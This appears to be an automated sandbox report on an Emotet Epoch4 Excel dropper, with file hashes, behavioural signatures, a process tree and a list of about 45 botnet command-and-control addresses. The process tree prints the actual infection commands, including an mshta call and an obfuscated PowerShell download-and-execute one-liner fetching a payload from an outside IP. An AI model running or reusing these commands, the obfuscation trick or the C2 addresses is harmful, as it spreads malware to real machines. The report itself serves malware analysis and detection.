emotet | 9cfb6573798d806ca7844032c86b9340a5efbbb326c074a19d1fd74ba425ebfa

Analysis

max time kernel
129s
max time network
160s
platform
windows10_x64
resource
win10-en-20211208
submitted
28/01/2022, 16:53

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General

Target
tmp17c1_nrc.xls
Size 85KB
Sample220128-vd4craggdj
SHA256 9cfb6573798d806ca7844032c86b9340a5efbbb326c074a19d1fd74ba425ebfa
MD5 d69cb5f2b7a9acd973b27096c67b6c5c
SHA1 18d9aebc732170237cbb4c036b10b842eb1b985a
SHA512 eab6525fad45b24da2102963a5642f49a7ca01874ce44a1e910b9cdea6f95f7b53d804af29b7a29287c60a60cc3de3b6be940c727f17943c90e49bd2240b7ea1
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://91.240.118.172/gg/ff/fe.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://91.240.118.172/gg/ff/fe.png

Extracted

Family

emotet

Botnet

Epoch4

160.16.102.168:80
131.100.24.231:80
200.17.134.35:7080
207.38.84.195:8080
212.237.56.116:7080
58.227.42.236:80
104.251.214.46:8080
158.69.222.101:443
192.254.71.210:443
46.55.222.11:443
45.118.135.203:7080
107.182.225.142:8080
103.75.201.2:443
104.168.155.129:8080
195.154.133.20:443
159.8.59.82:8080
110.232.117.186:8080
45.142.114.231:8080
41.76.108.46:8080
203.114.109.124:443
50.116.54.215:443
209.59.138.75:7080
185.157.82.211:8080
164.68.99.3:8080
162.214.50.39:7080
138.185.72.26:8080
178.63.25.185:443
51.15.4.22:443
81.0.236.90:443
216.158.226.206:443
45.176.232.124:443
162.243.175.63:443
212.237.17.99:8080
45.118.115.99:8080
129.232.188.93:443
173.214.173.220:8080
178.79.147.66:8080
176.104.106.96:8080
51.38.71.0:443
173.212.193.249:8080
217.182.143.207:443
212.24.98.99:8080
159.89.230.105:443
79.172.212.216:8080
212.237.5.209:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2200	2944	CMD.EXE	67

suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 6 IoCs

flow	pid	Process
34	3868	mshta.exe
37	1656	powershell.exe
39	1656	powershell.exe
41	1656	powershell.exe
48	3560	rundll32.exe
50	3560	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2260	rundll32.exe
1044	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Rwowngsukom\fbqfghtzrbm.fji	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
1700	3868	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2944	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1700	WerFault.exe
1656	powershell.exe
1656	powershell.exe
1656	powershell.exe
3560	rundll32.exe
3560	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1700	WerFault.exe
Token: SeDebugPrivilege	1656	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE
2944	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2944 wrote to memory of 2200	2944	EXCEL.EXE	72
PID 2944 wrote to memory of 2200	2944	EXCEL.EXE	72
PID 2200 wrote to memory of 3868	2200	CMD.EXE	74
PID 2200 wrote to memory of 3868	2200	CMD.EXE	74
PID 3868 wrote to memory of 1656	3868	mshta.exe	76
PID 3868 wrote to memory of 1656	3868	mshta.exe	76
PID 1656 wrote to memory of 2540	1656	powershell.exe	81
PID 1656 wrote to memory of 2540	1656	powershell.exe	81
PID 2540 wrote to memory of 2260	2540	cmd.exe	82
PID 2540 wrote to memory of 2260	2540	cmd.exe	82
PID 2540 wrote to memory of 2260	2540	cmd.exe	82
PID 2260 wrote to memory of 1044	2260	rundll32.exe	83
PID 2260 wrote to memory of 1044	2260	rundll32.exe	83
PID 2260 wrote to memory of 1044	2260	rundll32.exe	83
PID 1044 wrote to memory of 2896	1044	rundll32.exe	84
PID 1044 wrote to memory of 2896	1044	rundll32.exe	84
PID 1044 wrote to memory of 2896	1044	rundll32.exe	84
PID 2896 wrote to memory of 3560	2896	rundll32.exe	85
PID 2896 wrote to memory of 3560	2896	rundll32.exe	85
PID 2896 wrote to memory of 3560	2896	rundll32.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp17c1_nrc.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2944
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2200
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:3868
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({FdrggvdRf}{FdrggvdRf}Ne{FdrggvdRf}{FdrggvdRf}w{FdrggvdRf}-Obj{FdrggvdRf}ec{FdrggvdRf}{FdrggvdRf}t N{FdrggvdRf}{FdrggvdRf}et{FdrggvdRf}.W{FdrggvdRf}{FdrggvdRf}e'.replace('{FdrggvdRf}', ''); $c4='bC{FdrggvdRf}li{FdrggvdRf}{FdrggvdRf}en{FdrggvdRf}{FdrggvdRf}t).D{FdrggvdRf}{FdrggvdRf}ow{FdrggvdRf}{FdrggvdRf}nl{FdrggvdRf}{FdrggvdRf}{FdrggvdRf}o'.replace('{FdrggvdRf}', ''); $c3='ad{FdrggvdRf}{FdrggvdRf}St{FdrggvdRf}rin{FdrggvdRf}{FdrggvdRf}g{FdrggvdRf}(''ht{FdrggvdRf}tp{FdrggvdRf}://91.240.118.172/gg/ff/fe.png'')'.replace('{FdrggvdRf}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1656
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:2540
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\ProgramData\JooSee.dll,ssAAqq
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2260
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\JooSee.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1044
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Rwowngsukom\fbqfghtzrbm.fji",NbNuaAepK
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2896
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Rwowngsukom\fbqfghtzrbm.fji",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3560
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 3868 -s 1816
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1044-380-0x0000000005990000-0x00000000059B5000-memory.dmp

Download

memory/1044-354-0x00000000057C0000-0x00000000057E5000-memory.dmp

Download

memory/1044-350-0x0000000005700000-0x0000000005725000-memory.dmp

Download

memory/1044-352-0x0000000005760000-0x0000000005785000-memory.dmp

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memory/1044-346-0x0000000005340000-0x0000000005365000-memory.dmp

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memory/1044-344-0x0000000004E40000-0x0000000004E65000-memory.dmp

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memory/1656-317-0x0000020F97800000-0x0000020FAF900000-memory.dmp

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memory/1656-299-0x0000020FAFB90000-0x0000020FAFBCC000-memory.dmp

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memory/1656-316-0x0000020F97800000-0x0000020FAF900000-memory.dmp

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memory/1656-310-0x0000020FB00A0000-0x0000020FB0116000-memory.dmp

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memory/1656-315-0x0000020F97800000-0x0000020FAF900000-memory.dmp

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memory/1656-280-0x0000020FAFA00000-0x0000020FAFA22000-memory.dmp

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memory/2260-340-0x0000000000470000-0x0000000000495000-memory.dmp

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memory/2896-378-0x0000000002EF0000-0x0000000002F15000-memory.dmp

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memory/2944-373-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2944-121-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2944-124-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2944-132-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

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memory/2944-131-0x00007FF7E1700000-0x00007FF7E1710000-memory.dmp

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memory/2944-120-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2944-374-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2944-375-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2944-376-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2944-119-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/2944-118-0x00007FF7E4E20000-0x00007FF7E4E30000-memory.dmp

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memory/3560-381-0x0000000000C10000-0x0000000000C35000-memory.dmp

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memory/3560-384-0x0000000004670000-0x0000000004695000-memory.dmp

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memory/3560-388-0x0000000004930000-0x0000000004955000-memory.dmp

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memory/3560-390-0x0000000004A10000-0x0000000004A35000-memory.dmp

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memory/3560-392-0x0000000004AF0000-0x0000000004B15000-memory.dmp

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memory/3560-394-0x0000000004BF0000-0x0000000004C15000-memory.dmp

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memory/3560-396-0x0000000004DE0000-0x0000000004E05000-memory.dmp

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memory/3560-398-0x0000000004E60000-0x0000000004E85000-memory.dmp

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